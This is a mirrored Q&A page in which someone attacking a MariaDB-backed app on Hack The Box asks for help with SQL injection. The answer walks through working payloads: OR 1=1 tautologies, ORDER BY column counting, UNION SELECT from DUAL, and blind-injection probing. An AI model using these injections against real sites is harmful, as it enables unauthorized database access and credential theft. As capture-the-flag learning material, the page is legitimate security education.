Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

MariaDb SQL Injection

I am trying to exploit (legally) a MariaDb database with an SQLi vulnerability.

I have identified the vulnerability here...

/?o=1&page=app

The o=* is vulnerable and produces the following error...

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

I am using Burp Suite and have landed upon the following syntax which seems to be closer to the mark but is still producing a syntax error.

I think it is closer to the mark because the error is only spitting out the query that I have introduced and not the 'extra' field: '5' or dest like '1'') LIMIT 10'.

I am assuming that is part of the original query as the 1 is included and when I test with other random strings that remains true.

I am after the admin password hash which I know from the page clues is uid 1.

What am I missing with this query?

SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10

EDIT: This is being done on Hack The Box so no nasty illegal stuff going on.

like image 253
3therk1ll Avatar asked Jan 27 '23 16:01

3therk1ll


1 Answers

EDIT: This is being done on Hack The Box so no nasty illegal stuff going on.

Ok lets have some fun then.

When i look at the error message

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

Iám assumming the query and code in the application is more or less like this pseudo wise, the @o is in fact a MySQL user variable..

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

I will use a SQL fiddle space to simulate a SQL injection test and more getting possible access to other tables.

You can test your injection with 1' OR 1 = 1# or 1' OR 1 = 1-- both should work and should give you the same result when you use 1 as input. This is because MariaDB automatic is casting the types for other databases you might need to use the more strict version 1' OR '1' = '1#

Which should generate

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

Or

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

Then because you see errors in the application you can use ORDER BY 1 to check how many columns are selected and increment the number until you get a error.

Error: ER_BAD_FIELD_ERROR: Unknown column '2' in 'order clause'

Inject with

1' ORDER BY 1# or 1' ORDER BY 1--

Which means sort on the first column in the resultset NOT sort 1 literal.

Generates

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

Or

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

When you know the columns you can use UNION to get into other tables. Use NULL if you don't need all the columns.

injection

1' UNION ALL SELECT NULL FROM DUAL#

Note that DUAL is a "virtual" non existing table in MariaDB, MySQL and Oracle, if you can query this "table" it means you can also technically get into other tables.

generated SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

And if the webpage is designed as a "detail" page where one record is always visible you need to add a LIMIT 1, 1 in your injection.

What if there are no errors visible in the webapplication you should just be able to blindly bruteforce geuss with blind SQL injections and see how the application works.
Also try things like ?o=0, ?o=NULL or a very high numbers like the max INT value (Signed) ?o=2147483647 or (unsigned) ?o=4294967295 before trying to bruteforce the used column number so you know how the application handles records which can't be found. Because it very unlikely to have id 0 or that high numbers on a INT datatype, because the application will stop working if the last number was given. If you still get a record with those high numbers use the max values for BIGINT datatype instead.

For column 1 same result id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

For columns 2 which will error but mostly likely you will see a error page or a message that the record was not found.
Or a sweet HTTP 404 (Not Found) error status.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

One problem you might get when using LIMIT without using ORDER BY might be a chance getting the same records because the SQL standard has defined that SQL tables/resultsets are orderless without using ORDER BY

So you ideally need to keep using ORDER BY 1 in the bruteforces.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

And

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

The databases support for ORDER BY 1 is better then i was thinking at first thought as it works in MySQL, MariaDB, SQL Server (MSSQL) and PostgreSQL.

Also ORDER BY 1 was a SQL 92 feature which was removed in SQL 99.
So actually SQL databases should not execute ORDER BY 1 annymore if they would follow the SQL standards on this point.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

vs SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC
like image 126
Raymond Nijland Avatar answered Jan 29 '23 07:01

Raymond Nijland